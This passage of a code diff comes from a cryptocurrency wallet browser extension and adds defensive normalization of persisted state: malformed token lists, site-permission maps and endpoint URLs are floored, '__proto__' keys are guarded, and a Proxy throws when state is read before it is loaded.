|
||||||
|
function tokenRefs(value) {
|
||||||
|
if (!Array.isArray(value)) return [];
|
||||||
|
return value.filter(
|
||||||
|
(entry) => isRecord(entry) && typeof entry.address === "string",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// A list of strings, for the fields whose entries are dereferenced as text:
|
||||||
|
// fraudContracts (`a.toLowerCase()` in src/popup/views/send.js and
|
||||||
|
// src/shared/transactions.js) and each address's hostname list in the site maps
|
||||||
|
// below (`h !== host` filters, `list.includes(hostname)` in the background).
|
||||||
|
//
|
||||||
|
// Same rule as tokenRefs(), for the same reason: the container AND the entries,
|
||||||
|
// with a malformed entry DROPPED rather than repaired. A number in a hostname
|
||||||
|
// list names no site and a number in fraudContracts names no contract, so there
|
||||||
|
// is nothing to repair either to, and the empty list is a legitimate value that
|
||||||
|
// survives. The result is a fresh array of primitives, so it shares no
|
||||||
|
// structure with `saved`.
|
||||||
|
function textList(value) {
|
||||||
|
if (!Array.isArray(value)) return [];
|
||||||
|
return value.filter((entry) => typeof entry === "string");
|
||||||
|
}
|
||||||
|
|
||||||
|
// allowedSites / deniedSites: { [address]: [hostname, ...] }.
|
||||||
|
//
|
||||||
|
// The container check these had (truthy and not an array) is not the floor:
|
||||||
|
// `{"0xabc…": "notalist"}` IS a non-array object, and the dereference is one
|
||||||
|
// level below it. saveState() merges these maps per key and then per hostname
|
||||||
|
// WITHIN each key, so a stored value that is not a list reaches `base.map()` in
|
||||||
|
// mergeListByIdentity() (src/shared/state.js) and throws — after the popup has
|
||||||
|
// rendered, which is why every save from then on failed while the UI looked
|
||||||
|
// healthy (https://git.eeqj.de/sneak/AutistMask/issues/362). The Settings
|
||||||
|
// revoke button (`list.filter()`), and the background's
|
||||||
|
// `allowed.includes(hostname)` gate, dereference it the same way; on that last
|
||||||
|
// one a stored string would also answer a SUBSTRING match, so a corrupt map
|
||||||
|
// could widen a site permission rather than merely throw.
|
||||||
|
//
|
||||||
|
// An address key whose value is not a list of hostnames is dropped entirely: it
|
||||||
|
// grants and denies nothing, and dropping it fails closed. A stored own
|
||||||
|
// "__proto__" key — which JSON can carry — is dropped for the same reason: it
|
||||||
|
// can never be a wallet address, so it grants nothing either, and keeping it
|
||||||
|
// only keeps a value that saveState()'s merge would hand to the prototype
|
||||||
|
// setter on the next write. Keys are written with defineProperty so that no key
|
||||||
|
// reaching this function can consult a setter at all, whatever the rule above
|
||||||
|
// it becomes; mergeMapByKey() in src/shared/state.js writes the same way.
|
||||||
|
function siteMap(value) {
|
||||||
|
const out = {};
|
||||||
|
if (!isRecord(value)) return out;
|
||||||
|
for (const address of Object.keys(value)) {
|
||||||
|
if (address === "__proto__") continue;
|
||||||
|
const hostnames = textList(value[address]);
|
||||||
|
if (hostnames.length === 0) continue;
|
||||||
|
defineOwn(out, address, hostnames);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// An endpoint URL: non-empty text, or the fallback.
|
||||||
|
function url(value, fallback) {
|
||||||
|
return typeof value === "string" && value !== "" ? value : fallback;
|
||||||
|
}
|
||||||
|
|
||||||
|
// One remembered endpoint pair out of networkEndpoints, floored on the two
|
||||||
|
// fields applyChainSwitchFields() (src/shared/chainSwitchFields.js) assigns
|
||||||
|
// STRAIGHT ONTO s.rpcUrl / s.blockscoutUrl on the next chain switch: flooring
|
||||||
|
// the live fields alone would leave a non-string sitting one switch away from
|
||||||
|
// them. A field that is not text is deleted rather than replaced, so the
|
||||||
|
// switch falls through its own `|| net.defaultRpcUrl`. Anything else the pair
|
||||||
|
// carries is kept: a profile that has been on a build storing more per-network
|
||||||
|
// fields must not lose them by passing through this one.
|
||||||
|
function endpointPair(value) {
|
||||||
|
const pair = { ...(isRecord(value) ? value : {}) };
|
||||||
|
for (const field of ["rpcUrl", "blockscoutUrl"]) {
|
||||||
|
if (typeof pair[field] !== "string" || pair[field] === "") {
|
||||||
|
delete pair[field];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return pair;
|
||||||
|
}
|
||||||
|
|
||||||
|
// A list index into wallets / a wallet's addresses: a non-negative integer, or
|
||||||
|
// null for "nothing selected".
|
||||||
|
//
|
||||||
|
// hasValidAddress() (src/popup/viewRouter.js) guards the restore path with
|
||||||
|
// `state.wallets[state.selectedWallet] && …addresses[state.selectedAddress]`,
|
||||||
|
// which is safe for a stale INTEGER — out of range is undefined, and the `&&`
|
||||||
|
// short-circuits — and NOT safe for a string naming an Array.prototype member.
|
||||||
|
// `wallets["map"]` is truthy, so the guard does not short-circuit and
|
||||||
|
// `.addresses[…]` throws out of restoreView(): the dead popup. "length",
|
||||||
|
// "constructor" and "__proto__" answer the same way, and
|
||||||
|
// src/popup/views/confirmTx.js dereferences selectedWallet behind no guard at
|
||||||
|
// all.
|
||||||
|
function listIndex(value) {
|
||||||
|
return Number.isInteger(value) && value >= 0 ? value : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write `key` as an own data property, never through a setter. Plain
|
||||||
|
// assignment of "__proto__" replaces the object's prototype and records no
|
||||||
|
// entry; every map built from stored keys goes through this.
|
||||||
|
function defineOwn(obj, key, value) {
|
||||||
|
Object.defineProperty(obj, key, {
|
||||||
|
value: value,
|
||||||
|
writable: true,
|
||||||
|
enumerable: true,
|
||||||
|
configurable: true,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Keep only the leading run of stored views the popup is willing to render.
|
||||||
|
//
|
||||||
|
// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
|
||||||
|
// behind it used to be restored verbatim, so Back could walk onto a screen
|
||||||
|
// whose content is deliberately never re-rendered — and "show-phrase" has no
|
||||||
|
// Back control to leave by. Truncating at the first such entry instead of
|
||||||
|
// splicing it out keeps the result a prefix of the stored stack, so every
|
||||||
|
// surviving entry's Back target is exactly the one it had; splicing would
|
||||||
|
// silently re-point the entry above the hole at a different screen.
|
||||||
|
//
|
||||||
|
// Filtering happens here on load rather than in saveState(): the live
|
||||||
|
// in-session stack is legitimate (the screen really is rendered while the
|
||||||
|
// popup is open), and only a load-side filter also repairs the stacks
|
||||||
|
// already in storage, including ones written before a view left the set.
|
||||||
|
function restorableStack(stored, currentView) {
|
||||||
|
// A stored stack that is missing or not an array keeps nothing, but it
|
||||||
|
// still goes through the never-empty rule below rather than returning
|
||||||
|
// early: otherwise a corrupt stack would depend on exactly the goBack()
|
||||||
|
// fallback that the explicit ["main"] exists in order not to depend on.
|
||||||
|
const source = Array.isArray(stored) ? stored : [];
|
||||||
|
const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
|
||||||
|
const kept = cut === -1 ? source.slice() : source.slice(0, cut);
|
||||||
|
// A view restored below the root still needs somewhere for Back to go.
|
||||||
|
if (
|
||||||
|
kept.length === 0 &&
|
||||||
|
currentView !== "main" &&
|
||||||
|
RESTORABLE_VIEWS.has(currentView)
|
||||||
|
) {
|
||||||
|
return ["main"];
|
||||||
|
}
|
||||||
|
return kept;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Turn a raw stored (or missing) record into the full, defaulted shape
|
||||||
|
// loadState() used to assign directly onto `state`. A pure function so that
|
||||||
|
// saveState() can apply it too: the fields THIS page did not change still have
|
||||||
|
// to come from storage in their loaded-and-normalized form, not as the raw
|
||||||
|
// bytes another page (or an old release) left there — otherwise a legacy shape
|
||||||
|
// a load has always self-healed in memory (a missing networkEndpoints map, an
|
||||||
|
// out-of-range flag) is dropped right back into storage unfixed every time the
|
||||||
|
// page that DID normalize it saves something unrelated, because that field's
|
||||||
|
// value never "changed" for that page to notice.
|
||||||
|
//
|
||||||
|
// The result never shares structure with `saved`, so a caller may mutate it
|
||||||
|
// freely: it is the detached record every per-call read in the background is
|
||||||
|
// built on.
|
||||||
|
function normalizePersisted(saved) {
|
||||||
|
saved = saved || {};
|
||||||
|
const out = {};
|
||||||
|
// Every write goes out at the current version. That IS the migration for
|
||||||
|
// the unversioned records every install in the field holds: version 1 is
|
||||||
|
// the shape that shipped unversioned, so a record that validated is
|
||||||
|
// carried forward simply by being stamped. A record this build does NOT
|
||||||
|
// understand never reaches here — assertStateUsable() refuses it on the
|
||||||
|
// read path first (src/shared/stateSchema.js).
|
||||||
|
out.schemaVersion = STATE_SCHEMA_VERSION;
|
||||||
|
out.wallets = structuredClone(saved.wallets || []);
|
||||||
|
// Derived, never trusted verbatim off storage — see loadState().
|
||||||
|
out.hasWallet = out.wallets.length > 0;
|
||||||
|
// Each address's token holdings, floored to a list of token records on the
|
||||||
|
// detached copy above. Every reader iterates it behind a `|| []` that only
|
||||||
|
// covers an ABSENT value, and then dereferences `t.address.toLowerCase()`
|
||||||
|
// and `t.balance` — so a stored string iterates as characters, a number
|
||||||
|
// throws on the iterator, and a null entry throws on the field.
|
||||||
|
//
|
||||||
|
// This field specifically, because refreshBalances() writes it WHOLESALE
|
||||||
|
// rather than merging into it: a write that only partly lands is the live
|
||||||
|
// cause https://git.eeqj.de/sneak/AutistMask/issues/311 names, and this is
|
||||||
|
// where it lands. The wallet list itself is the gate's (stateSchema.js);
|
||||||
|
// what is below an address record is not, and gets floored here.
|
||||||
|
if (Array.isArray(out.wallets)) {
|
||||||
|
for (const wallet of out.wallets) {
|
||||||
|
if (!isRecord(wallet) || !Array.isArray(wallet.addresses)) continue;
|
||||||
|
for (const addr of wallet.addresses) {
|
||||||
|
if (!isRecord(addr)) continue;
|
||||||
|
addr.tokenBalances = tokenRefs(addr.tokenBalances);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// An actual list of token records is required, not merely a truthy value
|
||||||
|
// and not merely a list: everything downstream iterates this and
|
||||||
|
// dereferences `token.address`, so a stored string or object walks through
|
||||||
|
// a `|| []`, and a list of numbers walks through an Array.isArray(), and
|
||||||
|
// both throw on the first read — the blank popup from the issue, for a
|
||||||
|
// profile whose wallets are perfectly fine. An empty list is a legitimate
|
||||||
|
// value and survives.
|
||||||
|
out.trackedTokens = structuredClone(tokenRefs(saved.trackedTokens));
|
||||||
|
// The loud refusal for an unknown id is assertStateUsable(); this is the
|
||||||
|
// floor under it. networkId is an object KEY into networkEndpoints below,
|
||||||
|
// so a value that is not a network in networks.js must never get that far
|
||||||
|
// — "__proto__" would set the map's prototype instead of an own key, and
|
||||||
|
// the user's endpoint would silently not be recorded.
|
||||||
|
out.networkId = isKnownNetworkId(saved.networkId)
|
||||||
|
? saved.networkId
|
||||||
|
: DEFAULT_STATE.networkId;
|
||||||
|
// Non-empty text or the default, never anything else. getProvider()
|
||||||
|
// (src/shared/balances.js) hands rpcUrl straight to `new
|
||||||
|
// JsonRpcProvider()`, which throws SYNCHRONOUSLY for a value that is not a
|
||||||
|
// string — out of src/popup/views/txStatus.js and src/popup/views/
|
||||||
|
// addWallet.js, neither of which is inside a try, and the first of which a
|
||||||
|
// stored `currentView: "wait-tx"` reaches through restoreView(). It is a
|
||||||
|
// scalar, so the type check is the whole fix.
|
||||||
|
out.rpcUrl = url(saved.rpcUrl, DEFAULT_STATE.rpcUrl);
|
||||||
|
out.blockscoutUrl = url(saved.blockscoutUrl, DEFAULT_STATE.blockscoutUrl);
|
||||||
|
// An actual object is required, not merely a truthy non-array: the code
|
||||||
|
// below and applyChainSwitchFields() index and ASSIGN INTO this value, and
|
||||||
|
// assigning a property to a string or a number is a silent no-op in
|
||||||
|
// sloppy mode. Copied rather than referenced, nested pairs included, so
|
||||||
|
// normalizing never mutates the object a caller handed in.
|
||||||
|
const rawEndpoints =
|
||||||
|
typeof saved.networkEndpoints === "object" &&
|
||||||
|
saved.networkEndpoints !== null &&
|
||||||
|
!Array.isArray(saved.networkEndpoints)
|
||||||
|
? saved.networkEndpoints
|
||||||
|
: {};
|
||||||
|
out.networkEndpoints = {};
|
||||||
|
for (const netId of Object.keys(rawEndpoints)) {
|
||||||
|
// Keys other than the known network ids are kept rather than dropped,
|
||||||
|
// so a profile that has been on a build with more networks does not
|
||||||
|
// lose their endpoints by passing through this one. That is why an own
|
||||||
|
// "__proto__" key survives here where siteMap() drops it, and why the
|
||||||
|
// write has to go through defineOwn().
|
||||||
|
defineOwn(
|
||||||
|
out.networkEndpoints,
|
||||||
|
netId,
|
||||||
|
endpointPair(rawEndpoints[netId]),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
// A profile written before this map existed carries exactly one pair of
|
||||||
|
// endpoints, belonging to whatever network it was last on. Adopt it as
|
||||||
|
// that network's remembered pair, so a custom endpoint set on the old
|
||||||
|
// build is not lost by the first switch away and back.
|
||||||
|
if (!out.networkEndpoints[out.networkId]) {
|
||||||
|
out.networkEndpoints[out.networkId] = {
|
||||||
|
rpcUrl: out.rpcUrl,
|
||||||
|
blockscoutUrl: out.blockscoutUrl,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
|
||||||
|
// A non-empty address, or null, never anything else: this is passed to
|
||||||
|
// address.slice() and compared against stored addresses, so a stored
|
||||||
|
// number or object walks through a `|| null` and throws on the first
|
||||||
|
// render. The empty string is text but it is not an address, and it must
|
||||||
|
// become null rather than survive: init() auto-selects the first address
|
||||||
|
// only on a STRICT null, so a stored "" would leave the popup with no
|
||||||
|
// address ever selected. Nothing in src/ writes one, and this keeps the
|
||||||
|
// behaviour the `|| null` this check replaced already had.
|
||||||
|
out.activeAddress =
|
||||||
|
typeof saved.activeAddress === "string" && saved.activeAddress !== ""
|
||||||
|
? saved.activeAddress
|
||||||
|
: null;
|
||||||
|
out.allowedSites = siteMap(saved.allowedSites);
|
||||||
|
out.deniedSites = siteMap(saved.deniedSites);
|
||||||
|
out.rememberSiteChoice =
|
||||||
|
saved.rememberSiteChoice !== undefined
|
||||||
|
? saved.rememberSiteChoice
|
||||||
|
: true;
|
||||||
|
out.showZeroBalanceTokens =
|
||||||
|
saved.showZeroBalanceTokens !== undefined
|
||||||
|
? saved.showZeroBalanceTokens
|
||||||
|
: true;
|
||||||
|
// A profile written before this setting existed has no key for it. It
|
||||||
|
// is a safety filter, so absent must load as on, not as undefined.
|
||||||
|
out.hideSpoofedSymbols =
|
||||||
|
saved.hideSpoofedSymbols !== undefined
|
||||||
|
? saved.hideSpoofedSymbols
|
||||||
|
: true;
|
||||||
|
out.hideLowHolderTokens =
|
||||||
|
saved.hideLowHolderTokens !== undefined
|
||||||
|
? saved.hideLowHolderTokens
|
||||||
|
: true;
|
||||||
|
out.hideFraudContracts =
|
||||||
|
saved.hideFraudContracts !== undefined
|
||||||
|
? saved.hideFraudContracts
|
||||||
|
: true;
|
||||||
|
out.hideDustTransactions =
|
||||||
|
saved.hideDustTransactions !== undefined
|
||||||
|
? saved.hideDustTransactions
|
||||||
|
: true;
|
||||||
|
out.dustThresholdGwei =
|
||||||
|
saved.dustThresholdGwei !== undefined
|
||||||
|
? saved.dustThresholdGwei
|
||||||
|
: 100000;
|
||||||
|
out.utcTimestamps =
|
||||||
|
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
|
||||||
|
// A list of contract addresses, floored the same way: send.js builds its
|
||||||
|
// fraud set as `(state.fraudContracts || []).map((a) => a.toLowerCase())`
|
||||||
|
// and filterTransactions() maps the same list through normalizeAddress(),
|
||||||
|
// so a stored string walks through the `|| []` and a stored number walks
|
||||||
|
// through an Array.isArray().
|
||||||
|
out.fraudContracts = textList(saved.fraudContracts);
|
||||||
|
out.tokenHolderCache = structuredClone(saved.tokenHolderCache || {});
|
||||||
|
out.theme = saved.theme || "system";
|
||||||
|
out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
|
||||||
|
out.currentView = saved.currentView || null;
|
||||||
|
out.selectedWallet = listIndex(saved.selectedWallet);
|
||||||
|
out.selectedAddress = listIndex(saved.selectedAddress);
|
||||||
|
// "ETH", or a contract address, or null — never anything else. The popup
|
||||||
|
// restores onto "address-token" behind a truthiness check on this field and
|
||||||
|
// then dereferences it as text (`tokenId.toLowerCase()` in
|
||||||
|
// src/popup/views/addressToken.js, `state.selectedToken.toLowerCase()` in
|
||||||
|
// src/popup/views/receive.js), so a stored number is truthy, passes the
|
||||||
|
// restore gate, and throws on the screen it restores onto. Found by the
|
||||||
|
// sweep for this same defect class in
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/362; floored to null, which
|
||||||
|
// is what the restore gate already treats as "nothing selected". The empty
|
||||||
|
// string was already falsy here and stays null.
|
||||||
|
out.selectedToken =
|
||||||
|
typeof saved.selectedToken === "string" && saved.selectedToken !== ""
|
||||||
|
? saved.selectedToken
|
||||||
|
: null;
|
||||||
|
out.viewData = structuredClone(saved.viewData || {});
|
||||||
|
out.viewStack = restorableStack(saved.viewStack, out.currentView);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
DEFAULT_STATE,
|
||||||
|
PERSISTED_FIELDS,
|
||||||
|
normalizePersisted,
|
||||||
|
restorableStack,
|
||||||
|
};
|
||||||
@@ -78,9 +78,18 @@ function getAddressValue(addr) {
|
|||||||
let usd = parseFloat(addr.balance || "0") * prices.ETH;
|
let usd = parseFloat(addr.balance || "0") * prices.ETH;
|
||||||
let partial = false;
|
let partial = false;
|
||||||
for (const token of addr.tokenBalances || []) {
|
for (const token of addr.tokenBalances || []) {
|
||||||
const tokenBal = parseFloat(token.balance || "0");
|
// A null balance is a holding whose scale nothing knows, so it has no
|
||||||
|
// quantity to price — but it is still a holding, and a total that
|
||||||
|
// silently omits it would read as complete. That is exactly what
|
||||||
|
// `partial` is for (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||||
|
if (token.balance == null) {
|
||||||
|
partial = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const tokenBal = parseFloat(token.balance);
|
||||||
// A balance of zero is not a holding: it can neither add to the total
|
// A balance of zero is not a holding: it can neither add to the total
|
||||||
// nor make it incomplete.
|
// nor make it incomplete. Anything that is not a number at all is not
|
||||||
|
// a holding this can price either, and is left to the same rule.
|
||||||
if (!(tokenBal > 0)) continue;
|
if (!(tokenBal > 0)) continue;
|
||||||
if (prices[token.symbol]) {
|
if (prices[token.symbol]) {
|
||||||
usd += tokenBal * prices[token.symbol];
|
usd += tokenBal * prices[token.symbol];
|
||||||
|
|||||||
@@ -10,9 +10,20 @@
|
|||||||
// prompt in front of it, on a popup the user may have reopened by accident.
|
// prompt in front of it, on a popup the user may have reopened by accident.
|
||||||
// That is why "export-privkey" and "show-phrase" are absent.
|
// That is why "export-privkey" and "show-phrase" are absent.
|
||||||
//
|
//
|
||||||
|
// Nor may a view whose button destroys a wallet be listed, for the mirror
|
||||||
|
// reason: a popup reopened by accident must not land on the screen that
|
||||||
|
// erases key material. That is why "delete-wallet-confirm" and
|
||||||
|
// "delete-wallet-lost-password" are absent.
|
||||||
|
//
|
||||||
// Kept in its own module, with no dependencies, so tests can assert the
|
// Kept in its own module, with no dependencies, so tests can assert the
|
||||||
// exclusion directly rather than trusting a reading of the popup entry
|
// exclusion directly rather than trusting a reading of the popup entry
|
||||||
// point, which cannot be required outside a browser.
|
// point.
|
||||||
|
//
|
||||||
|
// It sits under src/shared/ rather than src/popup/ because
|
||||||
|
// src/shared/persistedState.js needs it and that module is in the BACKGROUND
|
||||||
|
// bundle: a popup-path module reached from the worker is the shape
|
||||||
|
// script/lib/forbiddenBundleInputs.js exists to keep out, whether or not the
|
||||||
|
// particular module is harmless.
|
||||||
const RESTORABLE_VIEWS = new Set([
|
const RESTORABLE_VIEWS = new Set([
|
||||||
"main",
|
"main",
|
||||||
"address",
|
"address",
|
||||||
@@ -1,45 +1,48 @@
|
|||||||
// State management and extension storage persistence.
|
// State management and extension storage persistence.
|
||||||
|
//
|
||||||
|
// The `state` export is a module-level singleton: ONE in-memory copy of the
|
||||||
|
// profile per bundle, loaded once by loadState() and mutated in place from
|
||||||
|
// then on. That is the popup's model — one page, one load at boot, one
|
||||||
|
// lifetime.
|
||||||
|
//
|
||||||
|
// It is NOT the background's model, and the background must not reach it. The
|
||||||
|
// MV3 service worker is torn down when idle and revived by the next message,
|
||||||
|
// nothing loads state at module scope, and an unpopulated read used to hand
|
||||||
|
// back DEFAULT_STATE with no complaint — five defects came out of that one
|
||||||
|
// fact (https://git.eeqj.de/sneak/AutistMask/issues/324). Two things close it:
|
||||||
|
// this module is unreachable from the background bundle, and reading a
|
||||||
|
// persisted field of the singleton before a load now THROWS instead of quietly
|
||||||
|
// serving a default.
|
||||||
|
//
|
||||||
|
// The unreachability is enforced by the BUILD. build.js fails when esbuild's
|
||||||
|
// own metafile reports this module as an input of a background bundle — the
|
||||||
|
// resolution the shipped file was built from, so no specifier syntax gets past
|
||||||
|
// it — from the table in script/lib/forbiddenBundleInputs.js, which also
|
||||||
|
// records what that does and does not cover. The ESLint rule that reports the
|
||||||
|
// same thing in the editor is fast feedback in front of the build, not the
|
||||||
|
// guarantee.
|
||||||
|
|
||||||
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
|
|
||||||
const { networkById } = require("./networks");
|
const { networkById } = require("./networks");
|
||||||
// Dependency-free constant module; safe to pull into a background bundle.
|
const {
|
||||||
const { RESTORABLE_VIEWS } = require("../popup/restorableViews");
|
DEFAULT_STATE,
|
||||||
|
PERSISTED_FIELDS,
|
||||||
|
normalizePersisted,
|
||||||
|
} = require("./persistedState");
|
||||||
|
|
||||||
|
const {
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
assertStateUsable,
|
||||||
|
migrationNeeded,
|
||||||
|
} = require("./stateSchema");
|
||||||
|
|
||||||
const { storageGet, storageSet } = require("./browserApi");
|
const { storageGet, storageSet } = require("./browserApi");
|
||||||
|
const { log } = require("./log");
|
||||||
|
|
||||||
const DEFAULT_STATE = {
|
// The live record the proxy below guards. Everything inside this module reads
|
||||||
hasWallet: false,
|
// and writes THIS object, never the proxy: the guard is for callers.
|
||||||
wallets: [],
|
const rawState = {
|
||||||
trackedTokens: [],
|
|
||||||
networkId: "mainnet",
|
|
||||||
rpcUrl: DEFAULT_RPC_URL,
|
|
||||||
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
|
|
||||||
// Endpoints remembered per network: { [networkId]: { rpcUrl,
|
|
||||||
// blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
|
|
||||||
// of the active network; this is what the others are restored from
|
|
||||||
// when the active network changes. See onChainSwitch().
|
|
||||||
networkEndpoints: {},
|
|
||||||
lastBalanceRefresh: 0,
|
|
||||||
activeAddress: null,
|
|
||||||
allowedSites: {},
|
|
||||||
deniedSites: {},
|
|
||||||
rememberSiteChoice: true,
|
|
||||||
showZeroBalanceTokens: true,
|
|
||||||
hideSpoofedSymbols: true,
|
|
||||||
hideLowHolderTokens: true,
|
|
||||||
hideFraudContracts: true,
|
|
||||||
hideDustTransactions: true,
|
|
||||||
dustThresholdGwei: 100000,
|
|
||||||
utcTimestamps: false,
|
|
||||||
fraudContracts: [],
|
|
||||||
tokenHolderCache: {},
|
|
||||||
theme: "system",
|
|
||||||
debugMode: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
const state = {
|
|
||||||
...DEFAULT_STATE,
|
...DEFAULT_STATE,
|
||||||
// Its own object, not the one DEFAULT_STATE holds: onChainSwitch()
|
// Its own object, not the one DEFAULT_STATE holds: applyChainSwitchFields()
|
||||||
// mutates this map in place, and a spread copies the reference.
|
// mutates this map in place, and a spread copies the reference.
|
||||||
networkEndpoints: {},
|
networkEndpoints: {},
|
||||||
currentView: null,
|
currentView: null,
|
||||||
@@ -50,175 +53,571 @@ const state = {
|
|||||||
viewStack: [],
|
viewStack: [],
|
||||||
};
|
};
|
||||||
|
|
||||||
// Keep only the leading run of stored views the popup is willing to render.
|
// False until loadState() has completed in this bundle. Until then, a
|
||||||
|
// persisted field that has not been assigned in this context cannot be READ:
|
||||||
|
// see StateNotLoadedError.
|
||||||
|
let loaded = false;
|
||||||
|
|
||||||
|
// True once this context has assigned anything into the singleton.
|
||||||
//
|
//
|
||||||
// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
|
// What the guard is for is a context that READS a profile nobody put there —
|
||||||
// behind it used to be restored verbatim, so Back could walk onto a screen
|
// every one of the five defects was a pure read of an untouched singleton,
|
||||||
// whose content is deliberately never re-rendered — and "show-phrase" has no
|
// answered out of DEFAULT_STATE. A context that has written into it is
|
||||||
// Back control to leave by. Truncating at the first such entry instead of
|
// managing it deliberately (the popup does, via loadState() at boot and by
|
||||||
// splicing it out keeps the result a prefix of the stored stack, so every
|
// hand thereafter), and reading back what you yourself put there is not the
|
||||||
// surviving entry's Back target is exactly the one it had; splicing would
|
// mistake being caught.
|
||||||
// silently re-point the entry above the hole at a different screen.
|
|
||||||
//
|
//
|
||||||
// Filtering happens here on load rather than in saveState(): the live
|
// The cost of that is honest and worth naming: a context that writes one field
|
||||||
// in-session stack is legitimate (the screen really is rendered while the
|
// and then reads a different, untouched one is still served that field's
|
||||||
// popup is open), and only a load-side filter also repairs the stacks
|
// default. Nothing closes that here — what closes it for the background is
|
||||||
// already in storage, including ones written before a view left the set.
|
// that the background cannot reach this module at all, which build.js asserts
|
||||||
function restorableStack(stored, currentView) {
|
// against esbuild's metafile on every build (FORBIDDEN_INPUTS in
|
||||||
// A stored stack that is missing or not an array keeps nothing, but it
|
// script/lib/forbiddenBundleInputs.js, pinned by
|
||||||
// still goes through the never-empty rule below rather than returning
|
// tests/buildForbiddenInputs.test.js).
|
||||||
// early: otherwise a corrupt stack would depend on exactly the goBack()
|
let adopted = false;
|
||||||
// fallback that the explicit ["main"] exists in order not to depend on.
|
|
||||||
const source = Array.isArray(stored) ? stored : [];
|
// Every field whose pre-load value would be a plausible-looking default rather
|
||||||
const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
|
// than the user's data. The view scratch fields are guarded too: currentView
|
||||||
const kept = cut === -1 ? source.slice() : source.slice(0, cut);
|
// and viewStack are persisted, and a save that carried their pre-load values
|
||||||
// A view restored below the root still needs somewhere for Back to go.
|
// would overwrite a real stored stack with an empty one.
|
||||||
if (
|
const GUARDED_FIELDS = new Set(PERSISTED_FIELDS.concat(["hasWallet"]));
|
||||||
kept.length === 0 &&
|
|
||||||
currentView !== "main" &&
|
class StateNotLoadedError extends Error {
|
||||||
RESTORABLE_VIEWS.has(currentView)
|
constructor(field) {
|
||||||
) {
|
super(
|
||||||
return ["main"];
|
"state." +
|
||||||
|
field +
|
||||||
|
" was read before loadState(); this context has no profile" +
|
||||||
|
" loaded and must not be served DEFAULT_STATE",
|
||||||
|
);
|
||||||
|
this.name = "StateNotLoadedError";
|
||||||
}
|
}
|
||||||
return kept;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Loud, not defaulted. The whole defect class this guard closes looks exactly
|
||||||
|
// like working code at the call site: the read succeeds, the value is
|
||||||
|
// well-formed, and it describes a wallet that is not the user's.
|
||||||
|
const state = new Proxy(rawState, {
|
||||||
|
get(target, prop, receiver) {
|
||||||
|
if (
|
||||||
|
!loaded &&
|
||||||
|
!adopted &&
|
||||||
|
typeof prop === "string" &&
|
||||||
|
GUARDED_FIELDS.has(prop)
|
||||||
|
) {
|
||||||
|
throw new StateNotLoadedError(prop);
|
||||||
|
}
|
||||||
|
return Reflect.get(target, prop, receiver);
|
||||||
|
},
|
||||||
|
set(target, prop, value, receiver) {
|
||||||
|
if (typeof prop === "string" && GUARDED_FIELDS.has(prop)) {
|
||||||
|
adopted = true;
|
||||||
|
}
|
||||||
|
return Reflect.set(target, prop, value, receiver);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
// Return the network configuration for the currently selected network.
|
// Return the network configuration for the currently selected network.
|
||||||
function currentNetwork() {
|
function currentNetwork() {
|
||||||
return networkById(state.networkId);
|
return networkById(state.networkId);
|
||||||
}
|
}
|
||||||
|
|
||||||
async function saveState() {
|
// The persisted fields as they stood at the end of this page's last
|
||||||
const persisted = {
|
// loadState() or saveState(). saveState() diffs the live state against this
|
||||||
hasWallet: state.hasWallet,
|
// to find only the fields THIS page actually changed.
|
||||||
wallets: state.wallets,
|
//
|
||||||
trackedTokens: state.trackedTokens,
|
// Deep-cloned, not a reference: callers mutate persisted objects and arrays
|
||||||
networkId: state.networkId,
|
// in place (state.wallets.push(...)), and a reference baseline would mutate
|
||||||
rpcUrl: state.rpcUrl,
|
// right along with `state`, so the diff would always come out empty.
|
||||||
blockscoutUrl: state.blockscoutUrl,
|
let baseline = null;
|
||||||
networkEndpoints: state.networkEndpoints,
|
|
||||||
lastBalanceRefresh: state.lastBalanceRefresh,
|
function snapshotPersisted() {
|
||||||
activeAddress: state.activeAddress,
|
const out = {};
|
||||||
allowedSites: state.allowedSites,
|
for (const key of PERSISTED_FIELDS) out[key] = rawState[key];
|
||||||
deniedSites: state.deniedSites,
|
return out;
|
||||||
rememberSiteChoice: state.rememberSiteChoice,
|
|
||||||
showZeroBalanceTokens: state.showZeroBalanceTokens,
|
|
||||||
hideSpoofedSymbols: state.hideSpoofedSymbols,
|
|
||||||
hideLowHolderTokens: state.hideLowHolderTokens,
|
|
||||||
hideFraudContracts: state.hideFraudContracts,
|
|
||||||
hideDustTransactions: state.hideDustTransactions,
|
|
||||||
dustThresholdGwei: state.dustThresholdGwei,
|
|
||||||
utcTimestamps: state.utcTimestamps,
|
|
||||||
fraudContracts: state.fraudContracts,
|
|
||||||
tokenHolderCache: state.tokenHolderCache,
|
|
||||||
theme: state.theme,
|
|
||||||
debugMode: state.debugMode,
|
|
||||||
currentView: state.currentView,
|
|
||||||
selectedWallet: state.selectedWallet,
|
|
||||||
selectedAddress: state.selectedAddress,
|
|
||||||
selectedToken: state.selectedToken,
|
|
||||||
viewData: state.viewData,
|
|
||||||
